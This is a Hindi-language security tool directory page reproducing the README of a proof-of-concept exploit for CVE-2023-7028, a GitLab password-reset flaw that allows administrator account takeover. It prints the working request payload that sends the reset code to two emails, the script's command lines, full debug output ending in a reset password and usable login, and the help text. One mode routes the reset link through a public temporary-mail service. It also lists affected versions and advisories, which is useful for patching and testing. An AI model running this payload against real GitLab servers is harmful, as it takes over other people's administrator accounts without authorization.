Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-7028 — This repository presents a proof-of-concept of CVE-2023-7028 | Kitploit
उपकरण/GitHubGitHub/vozec/cve-2023-7028
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubvozec/cve-2023-7028

CVE-2023-7028

This repository presents a proof-of-concept of CVE-2023-7028

रिपॉजिटरी देखें
244422 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-7028 | गिटलैब अकाउंट-टेक-ओवर

अस्वीकरण

यह कोड भेद्यता का एक प्रूफ-ऑफ-कॉन्सेप्ट है, मैं किसी को भी उन gitlab इंस्टेंस पर इसका उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे स्वामी नहीं हैं।
यह टूल केवल शोध और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और इसके किसी भी उपयोग के लिए मैं ज़िम्मेदार नहीं ठहराया जाऊँगा।

विवरण:

CVE-2023-7028 एक Account-Take-Over भेद्यता को संदर्भित करता है जो उपयोगकर्ताओं को बिना किसी उपयोगकर्ता इंटरैक्शन के gitlab व्यवस्थापक खाते का नियंत्रण लेने की अनुमति देता है।

यह भेद्यता पासवर्ड रीसेट करते समय ईमेल के प्रबंधन में निहित है। एक हमलावर 2 ईमेल प्रदान कर सकता है और रीसेट कोड दोनों को भेजा जाएगा।
इसलिए लक्षित खाते का ईमेल पता तथा हमलावर का ईमेल पता प्रदान करना और व्यवस्थापक पासवर्ड रीसेट करना संभव है।
(गिटलैब बताता है कि टू-फैक्टर प्रमाणीकरण इस भेद्यता के शोषण को रोकता है, क्योंकि एक हमलावर, पासवर्ड रीसेट करने के बाद भी, लॉग इन नहीं कर पाएगा।)

यह भेद्यता asterion04 द्वारा खोजी गई थी

पेलोड:

यहाँ एक उदाहरण पेलोड है

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

पीओसी:

विधि 1: अस्थायी ईमेल का उपयोग करना
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
विधि 2: ईविल ईमेल का उपयोग करना
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

सहायता

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

नोट:

--evil विकल्प के बिना, जो हमलावर का ईमेल पता निर्दिष्ट करता है, स्क्रिप्ट पासवर्ड रीसेट लिंक खोजने के लिए एक सार्वजनिक अस्थायी-मेल का उपयोग करती है।
=> यदि इस पीओसी का उपयोग पेंटेस्ट के दौरान किया जाता है तो सावधान रहें।

प्रभावित संस्करण

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

संदर्भ:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
टूल डाउनलोड करें